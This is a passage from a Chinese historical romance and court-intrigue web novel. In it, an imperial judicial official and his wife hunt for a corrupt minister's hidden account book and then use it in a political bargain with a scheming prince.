宋晏初想要做什么，他也能猜出个大概。
但是他因锦衣卫的身份，不便插手。
两人谈完正事，便都无话可说。
原本他们二人便互相看不惯彼此的行事作风。
陆琛觉得宋晏初做事太端正死板，无趣至极。
宋晏初觉得陆琛做事狠厉，太过张狂。
华县之行，他们因为相同的目的而不得不合作，也正是因为这次的合作，他们打破了对彼此的成见，已经不会再想之前那般针锋相对。
原本也许两人还能成为关系尚可的朋友。
但自从知晓陆琛和莫婉晴之间的感情，两人便有些不知道如何面对彼此。
虽然莫婉晴与宋晏初之间并无男女之情，也无夫妻之实，但毕竟有夫妻之名。
在名义上，莫婉晴依旧是宋晏初名义上的大夫人，是他八抬大轿、明媒正娶娶进门的。
虽然陆琛和莫婉晴有情，但他们却从不恪守礼仪，从没有越雷池半步。
从道德底线来说，他们并未做出让宋晏初难堪之事。
但从情感上，宋晏初作为一个男子，多少心里会有些芥蒂。
因此，两人此时坐着喝茶，相对无言，甚是尴尬。
最终，还是陆琛忍受不住这尴尬的氛围，率先起身告辞：“既然事已谈完，那陆某就不打扰宋大人休息，告辞。”
宋晏初就等他这句话，立刻起身回礼：“陆大人慢走。”
送走了陆琛，宋晏初重坐回位置上，神色凝重地思考着下一步的打算。
------
宋晏初经过一段时间的静养，终于重新回到大理寺当值。
上早朝那天，文宣帝特意向他发出了关怀：“听闻宋爱卿前些日子围猎时，不慎摔落悬崖，九死一生。如今身体可还好？”
宋晏初立刻出列站到中间，弯腰道：“谢陛下关心，臣已无碍。只是臣并非不慎摔落悬崖，而是被人袭击，寡不敌众，与夫人一起被逼落悬崖。幸好我与夫人命不该绝，崖下是一条宽河，我们才得以捡回一条性命。”
此话一出，在场所有官员一片喧哗，全都在窃窃私语。
“肃静！”
现场立刻又变得安静如初。
“宋爱卿，你可知是何人指使？”
“袭击我们的人说是奉户部尚书谭之镜之命，来取我们的性命。”
户部尚书谭之镜听到宋晏初的话，脸色聚变，连忙走到中间跪下，大喊：“冤枉啊！陛下，臣绝对没有做过伤害宋大人之事。宋大人乃大理寺少卿，我怎敢加害于他。”
“我奉命去华县调查贪污灾银案，查到的名单中，有不少是谭大人手下之人。你怀恨在心，就利用皇家围猎的时机，对我痛下杀手。我就是人证，如今我活着回来，就是为了指证你！”
“冤枉啊，皇上！我没有做过此事，我是冤枉的！皇上，你不要听他血口喷人！”
“来人，将谭之镜交由刑部严查！”
文宣帝一声令下，谭之镜就被皇宫内的侍卫拖了下去。
他一边被托着往外走，一边哭喊着：“冤枉啊，皇上！臣冤枉啊！”
宋晏初当然知道谭之镜是冤枉的，并且他知道真正想害他的幕后之人是谁。
他回想起，前日皇上秘密在上书房召见他的情景。
陆琛果然守信用，第二天立刻将弓箭之事如实呈报给了皇上。
呈报后的第二日，皇上便召见了宋晏初。
两人在上书房中密谋着。
“和亲王围猎场之事，你怎么看？”文宣帝看着宋晏初问道。
“和亲王目无法纪，滥用职权，刺杀朝廷命官，论罪当诛。”
听到他的这句话，文宣帝向他投来一道锋利的眼神。
他缓缓地问：“你是说，寡人应该处死和亲王？”
“陛下，和亲王参政多年，关系盘根错节。如若动了他，朝中必将发生动荡。”
文宣帝的脸色这才缓和了一些。
也正是方才的试探，宋晏初才知道皇上的意思。
皇上并不想杀和亲王，他之所以迟迟未立储君，就是要太子与和亲王相互制衡，从而平衡朝堂的斗争。
倘若因此事而杀了和亲王，那么朝堂的平衡就是打破，这不是皇上想要看到的结果。
但此事，和亲王做得确实是太过，加上之前华县灾银的事，两件事加在一起，罪上加罪。
文宣帝还是想要给他一点教训，从而敲打一下他。
宋晏初揣摩到了皇上的圣意，于是道：“陛下，臣有一计，不知能否可行。”
“你说。”
“户部尚书谭之镜，是和亲王的人。我们
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可以从他下手，以此来敲打和亲王。谭之镜自上任户部尚书以来，为巴结和亲王，没少帮他敛财。如能将他贪污的证据一并找到，来个数罪并罚，岂不是一举两得？”
文宣帝沉默了片刻，然后缓缓地点了点头。
“明日早朝，就按你说得办。好好给我查查这个谭之镜。”
“臣领旨。”
------
大理寺地牢内，谭之镜身穿白色囚服，手上带着镣铐，双目怒视着宋晏初，吼道：“宋晏初，我与你无冤无仇，你为何要陷害我？”
宋晏初气定神闲地在他面前喝着茶：“谭大人，你怎么就确定你是清清白白的呢？”
“你什么意思？”
问完，谭之镜突然回过味来，不可置信地瞪大了眼睛看着他：“你故意陷害我？为什么？”
“要怪，就只怪你上面的人，锋芒太露。说吧，你这些年贪污赃银的账本，放在何处？如实交代，可以免受很多皮肉之苦。”
谭之镜万万没想到，诬陷他害人是假，要查他贪污是真。
并且从宋晏初的话中可以听出，他已经查自己有些时日了，连他有一本账本的事都知道。
但是他又怎么能够坦白？
如若他坦白自己的罪行，今日就算他能活着走出大理寺，他也没命看到明日的太阳。
不只是他，他的一家妻儿老小，全都没命可活。
所以就算是打死他，他也是万万不能说出口的。
“我不能说……”
宋晏初本就没抱希望他会如实招来。
“好，那谭大人就别怪我失礼了。”
“你想干什么？宋晏初，你不要乱来！”
但是无论谭之镜怎么怒吼，宋晏初全都充耳不闻，带着自己的手下离开了地牢。
宋晏初带着一些大理寺的侍卫来到谭之镜的府中。
“给我搜！”
“是！”
侍卫倾巢出动，势要翻遍谭府的每一个角落。
谭之镜的母亲拄着拐杖在家眷们的搀扶下，一脸怒气地走到宋晏初面前，质问道：“你是何人？竟然敢擅自闯入户部尚书府里，不分青红皂白搜查，这还有王法吗？”
宋晏初掏出令牌，呵声道：“我奉陛下之命，前来搜查谭府。”
“老夫人，我奉劝你在一旁安心坐着，我只是搜查，不是抄家。等找到我要的东西，我们立刻就走，不会动你家里人一分一毫。但倘若你们负隅顽抗，就别怪我大理寺不给颜面。”
谭母毕竟也是高管之母，听他这样说，自然知道儿子定是遇到了天大的麻烦，也许他们的好日子今日就到头了。
她面如死灰，若不是身旁有女眷们扶着，她怕是早就晕倒在地。
宋晏初在门口气定神闲地喝着茶，任由手下的人翻遍整个谭府。
不知道过了多久，手下的人跑到他面前复命。
“回禀少卿，没找到。”
宋晏初喝茶的手顿了顿，剑眉微蹙，沉声问：“没找到？”
“是。”手下人额头直冒冷汗。
宋晏初脸色阴沉，从凳子上站起来，转身就走出了谭府。
身后的侍卫浩浩荡荡跟在他的身后一起离开。
50.第 50 章
夜深，宋晏初脸色凝重的回到宋府，陆思云在房间里等他还未歇下。
他们如今同吃同睡，已经和平常夫妻无异。
“晏初，如何？账本找到了么？”
宋晏初摇头，脸色肉眼可见的疲惫。
陆思云替他更衣，一边服侍一边说：“这本账本是谭之镜的保命符，他怕是不会放在自己府上。”
宋晏初站得笔直，双手平举，任由她摆布。
“明日我让云青去查一查谭之镜平时都与什么人来往。自己府中没有账本，他应该是寄放在别人那里。”
“如果他把账本寄放在别人那，那此人定是他非常信任之人。”
“或者是利益关系牵扯极深的人。”
调查有了方向，宋晏初心里顿时轻松了不少。
他低头看着眼前这个等自己到深夜，还未去休息的妻子，眼底泛着柔光。
“我已经让翠柳放好热水，你快去沐浴更衣吧。”
宋晏初将她拉近自己，两人的鼻尖快要碰到一起，他露出一抹坏笑，询问：“夫人一起洗，如何？”
陆思云愣住，此前他从未有过这样轻薄的言语。
随即她的脸便像被开水煮过似的，羞怯难耐。
她将脸抵在他的胸口，不知道该如何是好。
见她这副模样，宋晏初失笑。
他吓坏自己的小娇妻了。
他连忙搂住她，“我跟你开玩笑的，你先去歇息，我去沐浴。”
然后他放开他，带着衣物走进里间。
宋晏初进去独自沐浴，陆思云站在外面，冷静下来之后，觉得自己是不是有些矫情。
人家都发出邀请了，自己还扭扭捏捏。
明明他们是夫妻，又互相确定了彼此的心意。
既然如此，又有什么好扭捏的。
想到此，陆思云便走进里间。
宋晏初坐在浴池里，双臂交叠趴在边缘闭眼养神。
听见声音，他睁开眼，侧过头去，看到陆思云站在旁边，脸色微红地说：“夫君，我、我伺候你沐浴吧。”
宋晏初的眼神立刻便的深谙，眼底染上一层情/欲。
在陆思云猝不及防之际，他突然伸手，将她拉入浴池中。
“啊！”陆思云轻呼一声，下一秒便全身湿透，与他贴在一起。
宋晏初低头含住她的唇。
这次的亲吻与上次在蝴蝶谷的全然不同。
上次的亲吻是带着小心翼翼地试探，浅浅的亲昵。
然后这次却带着浓浓的情/欲，深深的占有。
面对他突如其来的索取，陆思云下意识地将手放在他肩膀上想推开他。
但马上她便迷失在他的吻中，渐渐沦陷。
原本想推拒的手，也慢慢伸展开来，变成搂紧他的后颈。
两人从浴池一直纠缠至床榻。
恍惚间，陆思云娇/喘着问他：“你、你今天应该很累，还……还这样……”
宋晏初将唇贴在她的脖颈处吸吮，引来她阵阵战/栗。
他在她耳边呢喃：“我还可以更累。”
昨夜被折腾坏了，陆思云睡到日上三更。
等她醒过来，床边早已经空空如也。
她抱着被褥，想到昨夜的缠/绵，羞怯难忍，恨不得把头塞进棉被里。
但是冷静过后，还得继续生活。
她叫翠柳进屋，伺候她沐浴更衣，换上官服，她便来到大理寺。
宋晏初已经在大理寺查看卷宗。
他一本正经地正襟危坐在那，与昨夜那个与她翻/云/覆/雨的人大相径庭，根本看不出来是同一个人。
见到她来了，宋晏初原本面无表情的脸上终于松动了一些，露出些许察觉不到的温柔。
陆思云虽然还沉浸在昨日的旖/旎中，但她终究是个头脑清醒的女子，知道现在干正事要紧。
“夫君，谭之镜查的如何？可有什么发现？”
“我正想同你说此事。云青查到谭之镜有一个秘密情人。”
“秘密情人？”
“没错，此人名叫花娘，在城东开了一家花满楼。”
城东的花满楼，陆思云听说过，是洛城最大的最气派的酒楼，许多公子哥儿、富商、皇亲贵族都喜欢到那儿去吃酒。
只是没想到，这名震四方的花满楼，老板居然是一位女子。
“这些年，她靠着谭之镜人脉和财力，才能慢慢起家，将花满楼越做越大。”
这样说来，他们之间有这层隐晦的关系，也就不足为奇了。
“那我们接下来应该怎么做？”
“谭之镜在城东给她买了一个庄园。每年这个时候，她都会邀请各方茶商去她庄园，品茶论道，然后决定新一年的供应商。”
陆思云眼睛亮了起来：“夫君的意思，我们可以扮成茶商，混进庄园，然后伺机搜寻账本的下落。”
宋晏初点头。
很快，就到了花娘庄园宴请茶商的日子。
陆思云和宋晏初伪装成一对茶商夫妻，让云青想办法拿到了邀请函，混在茶商中，进了花娘的庄园。
花庄很大跟气魄，处处都是金钱堆积出来的味道。
这些年，在谭之镜的帮助下，花娘生意越做越大，越做越红火，早就赚的盆满钵满。
继见识了朝廷高官的宅院，陆思云又见到了洛城土豪的庄园。
可谓是再一次大开眼界。
这比之尚书府，又上了一个级别。
如果说尚书府还尚有一些文人官员有的低调文雅，那么这花庄就是极度奢靡之风。
每一块砖每一块瓦，看上去就价值不菲。
陆思云看什么都觉得新奇，左看右看的，觉得什么都很新鲜。
很快，他们便被带到一个大厅内。
大厅呈四方形，朝南设立主桌，两边摆放着桌椅，桌上放着当季最新鲜的时令水果。
陆思云看到有水果，立刻就摘了个葡萄塞进嘴里，又甜又多汁，好吃得很。
她立刻又摘了一颗递给宋晏初。
宋晏初接过塞进嘴里，挑眉看着她，微微点头。
确实美味。
众人落座没多久，花娘便穿着华服，带着一众侍女，款款而来。
花娘看上去二十八左右的年纪，但打扮的却异常华丽成熟，把陆思云给看呆了。
她忍不住对一旁的宋晏初感叹：“花老板真是国色天香，风韵之姿呀。”
宋晏初淡淡地瞟了主位上的花娘一眼，淡淡地道：“我却认为，不及
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某人。”
陆思云看着他，想问他这“某人”指的是谁。
看到他似笑非笑地看着自己，忽然就懂了他话中之意，立刻脸色绯红地嗔看了他一眼。
“欢迎各位大驾光临，参加我的品茶大会。今年同往常一样，我会在诸位里挑选出一家最附和我口味的茶叶，作为我花满楼新一年的茶叶供应商。”
在场所有茶商脸上全都露出胜券在握的神情，只有宋晏初他们面色沉重。
他们与这些真正的茶商目的并不相同，他们是来找谭之镜贪污的账本的。
“一会儿茶会开始，你就借口要解手，去后院探一探。”宋晏初小声吩咐陆思云。
陆思云会意地点了点头。
茶会开始后，各家都拿出了自己店铺内的招牌茶叶，泡制后供给大家品鉴。
宋晏初虽然喝茶但并不精通茶。
这次能参加品茶大会，还是顶替了其中一家茶商的身份，他带着这家的茶叶前来的。
一行人来到品茶台前。开始对着各家的茶水进行品鉴。
“这是徽州的‘敬亭绿雪’，在下早有耳闻，此茶叶以其芽叶色绿、白毫似雪而得名。今日一见果然名不虚全。”
“此乃苏州太湖洞庭山的碧螺春，白毫显露，色泽银绿，翠碧诱人，卷曲成螺，又是产于春季，故而得名。”
……
每个茶商都对茶叶有着很深的见解，大家各抒己见，讨论得好不热闹。
陆思云趁着大家讨论茶叶的时候，在宋晏初的眼色下，会意地离开了大厅。
她偷偷来到庄园后院，原本想找花娘的书房。
一般贵重物品，他们这些古代人都喜欢放在书房的暗格之内。
却不想这个庄园实在是太大，房间甚多，她一时半会儿没有头绪应该从哪里开始找起。
就在她一筹莫展之际，她看到几个侍卫带着剑从东面的方向走去。
虽说庄园很大，园里有护卫也是很平常的事，没什么奇怪。
但是他们身上却带着兵器，看上去并非一般院中护卫。
反正现在也没有寻找账本的方向，不如就跟去看看。
陆思云这样想着，于是便偷偷跟在那帮侍卫身后，来到一座屋子门口。
屋子门口有两个看手的侍卫，他们腰上也佩戴者刀剑。
方才过去的那几个侍卫，是去交接班的。
一路上，陆思云特意观察了一下，这个庄园有好几处院落，但只有这个屋子的守卫是最森严的。
这个屋子看上去不大，从外面看不出什么特别，但戒备却是最严的。
直接告诉她，这屋子一定不简单，里面定然有很重要的东西，所以花娘才会这样重视这屋子的安全。
也许，谭之镜的账本，也在里面。
这样想着，她便偷偷潜进屋内。
到底是平民养的侍卫，素养和警觉性甚至都比不上宋府的护卫。
就算只是陆思云这样三脚猫功夫的人，也竟然就这样轻松地潜入了进去。
陆思云心中一阵窃喜。
前厅的品茶会依旧在如火如荼地进行中，宋晏初人虽然在大厅里站着，但心思早就飞到后院里，他在担心陆思云的安危。
“宋老板，您为何不品茶？”
51.第 51 章
“宋老板，您为何不品茶？”
突然被点名，宋晏初微微一凛。
他抬头，看到花娘虽然嘴角含笑，眼神里却充满了探究地看着他。
他连忙堆起笑容，作揖道：“我经营茶叶时间并不久，对茶叶的见解远不及在座的各位前辈。我方才听各位前辈们品鉴，一时听得入迷，还请各位前辈们见谅。”
宋晏初的一番话说得滴水不漏，在场的每个人全都身心舒畅。
另一头，陆思云顺利潜进屋中。
这果然是一间书房。
陆思云更加确定，账本一定就在这个屋子里。
屋子不大，她轻手轻脚地简单翻找了一下，并未找到类似账本的东西。
一般这种时候，要是在电视剧里，那这房间里必然有个密室。
现在她要做的，就是找到打开密室的开关。
陆思云碰碰这个，摸摸那个。
突然眼角余光看到桌上的笔筒，她随手转了一下，只听见“嘎达”一声，门后墙壁突然分开，重新出现一道门。
果然有个密室！
陆思云毫不犹豫地走了进去。
她原本以为，也就是个密室罢了。
谁知她不小心猜到了一块地砖，地砖凹陷下去，突然前面射过来十几支暗箭。
陆思云快速躲闪大部分射过来的箭，但还是有一支闪躲不及，射中了她的肩膀。
她倒在地上，动弹不得。
方才躲闪暗箭时，她用余光看到密室走廊尽头看到有个方形的案桌，上面放着一个金丝楠木的盒子，大小正好跟一本书的大小差不多。
她猜测账本就在那个匣子里。
只是现在她触碰到了机关，不仅自己受了伤动弹不得，还惊动了门外的侍卫，实在是有些不好办。
果然，门外的侍卫全都冲进来，抽出刀架在她的面前。
很快，她就被几个侍卫押着，带到了前厅。
此时前厅的品茶大会还在进行中，突然几个人押着陆思云上来，所有人全都停下了讨论，不解地看着她。
宋晏初看到她被人带进来，还受了伤，脸色聚变。
他立刻上前将押着她的那些侍卫全都推开，扶住陆思云，查看她的伤口。
花娘见到眼前的情形，就知道眼前的女子定是擅自闯入了密室才会被暗箭所伤，脸色也十分难看。
“怎么回事？”
侍卫禀报道：“当家的，这位女子擅自闯入书阁。怎么处置，请明示。”
宋晏初看着花娘冷笑道：“花老板好大的阵仗，我们诚心过来参加品尝大会。如今我夫人不仅受了伤，还要被处置？这就是你们花满楼的待客之道？”
陆思云忍着伤痛，从宋晏初的怀里坐起，解释道：“花老板见谅，我方才想解手，但是庄园实在太大，我误打误撞就进了那个楼。里面有太多新奇的玩意儿，我不小心触碰到了机关，发现一间密室。好奇心作祟，我就走了进去，谁知又触动了机关，被箭所伤。我并没有动里面的任何东西，请花老板不要怪罪。”
花娘听了，想来她并没有发现账本，便也放了心。
“即使如此，倒是我的不是了，让宋夫人受伤了。”
花娘又对旁边的侍卫说：“你去找位城中最好的大夫，给宋夫人医治。”
“是。”
陆思云和宋晏初被领到了后院的偏房，等待大夫到来。
屋内只剩下他们二人，宋晏初还没来得及开口关心她，陆思云便连忙抓住他的手臂，焦急对他说：“我觉得谭之镜的账本一定在那个书阁的密室里，我中箭的时候，看到密室通道尽头的案桌上有个金丝楠木的匣子，账本一定在那个匣子里。”
“书阁虽然有很多侍卫把手，但是他们警觉性不高，我很容易就潜入了。要不是我中了机关，打草惊蛇，他们一定发现不了。晏初对不起，我给你添麻烦了。”
宋晏初看着内疚不已的陆思云，心里十分心疼，他紧紧握住她的手，安慰道：“你发现了账本所在，已经是帮了我大忙，剩下的交给我，你无需担心，安心养伤。”
说完在她额头上印上一吻。
宋晏初走出偏房的房间，云青已经守在门口等待他下一步的指示。
宋晏初又恢复了以往的面无表情，他的眼神犀利，低声命道：“给我搜！”
“是！”
几乎是立刻，大理寺的侍卫包围了花庄。
一大群人冲了进来，花家庄园的那几个侍卫哪里是大理寺侍卫的对手，很快便全部拿下。
宋晏初带着云青径直走到方才陆思云受伤的密室，地上还留有陆思云受伤留下的血迹，看得他不自觉地握紧了拳头。
他一刻不敢怠慢，立刻走过去拿起那个陆思云口中说的金丝楠木盒子。
当他打开看到里面是他想要的账本时，这才松了口气。
这次总算没白来。
思云的血也没白流。
拿到账本后，他立刻回到前厅。
此时前厅所有人都被大理寺的护卫围在中间，全都脸色铁青地双手捂头跪在地上。
他们都只是普通的茶商，为了参加花娘的茶话会再集聚在这里，本意是为了做生意。
谁想会出现这样的阵仗，这是平日里从未见过的，把他们这群富商可吓坏了。
花娘除了害怕，更觉火冒三丈。
“你们到底是何人？居然擅自闯入我的庄园，还有没有王法了？”
“王法？”宋晏初走进来，脸上仿佛冻了一层霜气，他冷冷地吐出五个字：“我就是王法。”
花娘这才察觉出必定是自己的靠山出了什么事，否则绝对不会查到自己头上。
她的脸色立刻变得煞白。
“你、你到底是谁？”
“大理寺查案，来人，将花娘拿下，押回大理寺。其他不相关人等，送他们离开。”
“是！”
既然账本到手，人也抓回了大理寺。
那这案子便在他的掌控之中，宋晏初并不着急回大理寺审人。
他此时最着急的还是陆思云的伤势。
查封花娘的庄园之后，陆思云也被带回了宋府。
莫婉晴看到她受伤，吓得花容失色。
“早上出去还好好的，怎么回来就受伤了呢？”
“没事，莫姐姐，我就是被箭划了一下，并无大碍，你不用担心。”
可是莫婉晴如何能不担心呢，她立刻让碧水去请了大夫，过
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来给她治伤。
所幸只是皮外伤，简单处理了一下伤口，包扎好便无大碍。
包扎好伤口，喝了安神的药，陆思云躺在床上昏昏欲睡。
但她还是坚持等宋晏初回来，想问问他案情的后续发展。
等着等着，药效便上来了，她有些支撑不住。
就在陆思云就快要睡着之际，她感觉到有人正在轻轻地给她盖被子。
她用尽力气睁开眼皮，果然看到宋晏初坐在床边，烛光的余晖打在他的脸上，显得他此刻特别温柔。
陆思云顺势从被窝里出来，躲进他的怀中。
宋晏初怕她着凉，又担心她扯到伤口，连忙搂紧她，柔声问：“怎么还没睡？在等我？”
陆思云温顺地点点头。
宋晏初又岂会不知道她为何要等自己，于是便将案子的进展告知了她。
知道账本顺利找到，陆思云这才放心下来。
虽然从结果来说，还是达到了最初的设想。
但是陆思云的受伤却让宋晏初很是自责，他没想到让他陪自己潜入庄园居然也能这般危险重重。
终究是世事难料。
“接下来，夫君打算怎么做？难道真的用此账本弹劾谭之镜？”
“谭之镜并不是我们真正的目标，我们的目标是和亲王。扳倒一个谭之镜何其容易，可是想要扳倒和亲王，却困难至极，也危险至极。”
“夫君是想用这本账本，引和亲王自己主动上钩，来找你谈判？”
“正是。”
“但是和亲王会惧怕这本账本么？”
“这本账本，是谭之镜用来保命用的。既然用来保命用的，上面定然有与和亲王一起敛财的罪证。如果这份罪证呈给陛下，那就坐实了他伙同户部尚书一起敛财的罪名。况且，他想保下谭之镜。”
见他说得如此肯定，陆思云抬头看向他问：“为何？”
“青楼案他失去了礼部尚书，马氏被杀一案他又痛失兵部尚书，如今他若再失去谭之镜这个户部尚书，那六部之中，他已经没有他能用的人，对他来说极为不利。所以他无论如何都要保下谭之镜。你且等着看，只要他发现我手中有谭之镜的账本，他便一定会来找我。”
“就算和亲王主动来找你，你又要跟他谈什么条件呢？”
“我无非是想求一方安稳，并不想参与到党争之中。虽然和亲王手段狠绝，绝非明君。但陛下迟迟未立储君，就是打算利用和亲王与太子的两股势力平衡朝堂局势。他并不想和亲王失势，也不想涨了太子的气焰。所以我只有顺从圣意，敲打一下他便可。”
朝中这些弯弯绕绕，听的陆思云头疼，伤口更疼。
“你都受伤了，我还同你说这些，你会不会觉得很无趣？”
“我虽然听得不大明白，但是我喜欢听你说话，想要为你分担。我没有莫姐姐那么聪慧，不懂朝中局势变动，没办法帮你出主意，但是我可以做你的聆听者。”
宋晏初吻住她的头顶，“傻瓜，你不需要为我分担，这是我的责任。你只需要陪在我身边，平平安安的，不要再受伤了。”
听出他语气中的心疼和怜惜，陆思云心中甜蜜万分。
“好，一切都听夫君的。”
52.第 52 章
宋晏初从马车上下来，站在一府邸门口处。
他抬头仰望，那四个金灿灿的字映入眼帘——“和亲王府”。
一位老太监从里面缓缓走出来，对着宋晏初浅浅作揖道：“宋大人，王爷已经恭候多时，请随我进去吧。”
宋晏初微微欠身：“有劳高公公了。”
穿过假山花园，他被高公公带到里间，和亲王正坐在中间，手举茶杯正在品茶。
宋晏初进去立刻行礼：“微臣参见和亲王。”
“晏初来了，快过来，坐坐坐。”和亲王热情地招呼他，让他在自己对面落座。
宋晏初起身，走到他对面的位置坐下。
立刻有侍女为他奉上茶水。
他盯着眼前正在冒着热气的茶，光是闻着这茶叶的清香，就知定是好茶，只是他却没有动。
“不知王爷今日找我前来，所谓何事？”
“本王一直都很欣赏你的才干，你在大理寺做一个区区少卿，实在是屈才。不知宋大人有没有这野心，成为三法司之首？”
宋晏初心中冷笑。
这确实是一个很大的诱惑。
如果成为三法司之首，凌驾于刑部、大理寺和都察院之上。
对于他的职位来说，确实是最高的权利。
和亲王这么做，无非就是想拉拢他，为自己所用。
在朝堂之上，拉帮结派实属正常，况且如今自己手里又握着他的把柄，他想要讨好拉拢，也在宋晏初的意料之中。
“王爷太抬举下官了。以我的资历，三法司之首这个位子，恐难当大任。辜负王爷的一番心意。”
和亲王的脸色立刻冷了几分：“大人这是要拒绝本王？”
“下官惶恐。”
见他态度坚持，和亲王知道用高官诱惑这一招，怕是行不通。
在此之前，他与宋晏初接触的并不多。
主要原因是因为刑部尚书方文天与宋晏初的父亲是至交，此人与宋怀明一个德行，也是个油盐不进之人。他也并未将其纳入麾下。
从而导致三法司这一块竟然都没有他的人。
这一直是和亲王的一块心病。
如果宋晏初能如愿跟随他，那么在三法司之内他便有了自己的人，这样对于他掌握朝堂又更有利了一分。
谁想，这个宋晏初也是一个不识好歹的主儿。
和亲王虽然心里愤怒，表面上却依旧得保持云淡风轻。
账本还在对方手中，他也不能强求，万一逼急了，来个鱼死网破，反倒让他棘手。
“既然宋大人另有打算，本王也不勉强。”
和亲王再一次拿起案桌上的茶杯，饮了一口茶，继续说：“谭之镜的案子，办得如何了？”
“回禀王爷，办地差不多了。”
和亲王举茶杯的手顿了一下。
“宋大人打算怎么做？”
宋晏初盯着和亲王，缓缓地说：“自然是秉公办理，如实呈报给皇上。”
和亲王淡然自若地给自己满上茶，抬头看着宋晏初，似笑非笑：“宋大人，明人不说暗话。谭之镜是我的人，你不能动他。”
宋晏初看了他一会儿，周围的气氛仿佛结了冰，站在一旁伺候的高公公忍不住打了个寒颤。
良久，宋晏初伸手，拿起案上的茶杯，小喝了一口。
这是他进这个房间以后，喝的第一口茶。
茶水已微凉，但依旧茶香四溢。
“王爷，既然大家打开天窗说亮话，那么有几句话，我也便不打算与王爷遮遮掩掩了。王爷前几次，可是差点要了我和我夫人的性命，这笔账，应该如何算？”
以宋晏初这样的官职，对当朝王爷说出这样的话，纯粹是以下犯上，大逆不道。
果然，一旁的高公公厉声呵斥：“大胆宋晏初，竟然敢跟和亲王这样说话！”
和亲王却抬手示意高公公。
他很欣赏眼前这个年轻人的胆识。
“宋大人应该知道，就算你谭之镜的账本交给陛下，他也不会把我怎么样。陛下需要用我来制衡太子的势力，只要我对他老人家还有用，我就会平安无事。”
宋晏初笑道：“王爷误会了。我将账本交给皇上，并不是为了报之前差点命丧黄泉的仇。皇上让臣彻查谭之镜，臣不敢不查。如若我不把账本交给皇上，那是抗旨。”
“王爷方才思路清晰，让臣佩服。只不过，王爷需要想明白，王爷要保的是他区区一个谭之镜，还是户部尚书这个位子。”
和亲王立刻明白了他的意思。
宋晏初无非就是想告诉他，谭之镜无论如何都是保不住的，皇上要彻查，就必须得交代些什么出来。
只有弃了谭之镜，他方能自保。
但是谭之镜没了，户部尚书的位置就空出来，他依旧可以安排自己的人去填补这个空位，于和亲王来说，并没什么损失。
和亲王忍不住哈哈大小了起来：“好！很好！宋大人，本王该如何谢你。”
宋晏初作揖道：“王爷谬赞，下官并未帮上什么忙。下官只希望以后可以尽心尽力为皇上办事而已。”
和亲王越发觉得，不能将宋晏初收入自己门下，实在是可惜。
出了和亲王府，宋晏初还未来得及上马车，就看到刘管家匆匆跑过来。
对于刘管家会出现在这，他十分意外，以为家里出了什么事，脸色微变。
“是不是家里出了什么事？”
“府中一切安好，请少爷放心。是老爷方才叫人来传话，让您回家一趟。”
父亲？
宋晏初有些愣住，他回身看了一眼背后的和亲王府，猜想难道是父亲知道自己今日来了王府，想找他谈些什么？
他收敛了心神，上了马车，然后对云青道：“去老爷府上。”
“是。”
自从宋晏初独立建府之后，他便鲜少回来这个他从小生活的地方。
但是他和宋明怀的关系一直挺不错，在大理寺内，也算是一段佳话。
今日父亲叫他过来，宋晏初在马车上已经想明白缘由。
父亲向来不允许参与党争，一心为皇上为大宣国办事。
如今他听闻宋晏初去了和亲王府，定然以为自己参与到了党争中，并且站在了和亲王那一派。
曾经宋晏初也听说过，和亲王原本想拉拢父亲，却被宋怀明断然拒绝。
他走进府内，府中如今只有宋怀明一人居住，下人被他遣散了大半，如今整个府里人烟稀少，甚为冷清。
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宋晏初看着现在的府宅，心中有些内疚。
要是自己没有搬出去，这个院中现在定是热热闹闹的一大家子。
是自己的私心与任性让父亲这般孤独。
见他回来，府中管事面色沉重地对他说：“少爷，您回来了。老爷在书房里等您。老爷脸色看上去不好，您一会儿说话要小心一些，别惹他老人家生气。”
“多谢张管事。”
谢过张管事，宋晏初大步朝着书房走去。
走到书房门口，宋晏初在门口站定，稍微整理了一下仪容，便抬脚迈进门。
“父亲，孩儿给您请安。”
“进来！”宋怀明在屋里吼道。
宋晏初听见父亲的怒吼声，有些愣神。
父亲这般生气，怕不只是因为自己今日去见了和亲王这么简单。
宋晏初刚进门，就听见宋怀明厉声道：“跪下！”
宋晏初虽不明所以，但还是立刻双膝跪在地上。
“听闻你今日去了和亲王府，可有此事？”
“确有此事，父亲。”
“你糊涂啊，晏初！你去和亲王府干什么？”
“是和亲王叫儿子去的。”
“我一直跟你反复强调，不要参与党争，不要参与党争。你今日去和亲王府，有多少只眼睛看着，就算你没有答应，在别人眼中，你也早就是和亲王一派了，人言可畏！”
“父亲以为，不参与党争，就能独善其身？”
“你说什么？”
“孩儿前阵子奉圣上之名前往华县治水，在去与回来的途中，皆遭到了黑衣人的袭击。”
“竟有这等事！？”
也难怪宋怀明会感到惊讶。
自从宋晏初接管大理寺的事务，他便处于半隐退状态，由于年事已高，连早朝都不再上了，所以他对外界很多事都不曾关心。
而宋晏初对他向来是报喜不报忧，他遇到危险这种事，自然是不知晓。
“不只是华县，前段时间皇家围猎，我与星然也是被黑衣人追杀，不慎掉入悬崖，幸好悬崖下是一条河流，才保住性命。”
宋怀明连忙将宋晏初扶起来，一双眼睛顿时眼含热泪：“这些你为何不早告诉我？”
宋晏初垂眸：“孩儿不想让您担心。”
“如今朝堂局势动荡，太子与和亲王势均力敌。皇上迟迟未立储君，让太子与和亲王再朝堂上拼个你死我活，这就是皇上想要看到的结果。正因为孩儿听从父亲之意，从不参与党争，才会成为他们的眼中钉肉中刺，除之而后快。”
宋怀明无力地瘫坐在椅子上，宋晏初连忙将案桌上的茶水递给他。
“父亲从小就教育孩儿，为官者，心系天下，心系百姓。我一直谨记于心。只是如今两党相争，孩儿又卷入其中，为了家人的安危，我不得不做出一些抉择。”
“所以，你的意思，你选和亲王？”
宋晏初果断摇头。
“只是如今皇上要保和亲王，我没办法与之针锋相对。”
宋怀明突然语气激动地说：“无论你以后如何选择，为父只有一个要求，不可以选和亲王。”
宋晏初抬起头看着父亲，平静地问：“是因为我的生父是被和亲王所害么？”
53.第 53 章
“是因为我的生父是被和亲王所害么？”
宋怀明瞪大双眼，满脸不可置信：“你、你说什么？”
“孩儿很早就知，您并非我的亲生父亲。”
“你、你是怎么发现的？”
宋晏初淡淡地解释：“小时候贪玩儿，看到您总一个人闷在书房里，也不知道在做什么。有一次我一时好奇，从窗户里看到您进了书房的一间密室。我暗自记下了开关，趁您不在家的时候，我便偷偷打开机关进了密室。就看到里面成列着许多牌位。但是当时年纪太小，并不懂牌位上的人是谁。”
“后来长大读了一些书，我便又想起了小时候发现的那间密室，后来又进去了一次。我这次读懂了牌位上的名字，您偷偷供奉的是一位叫方与淮的人。”
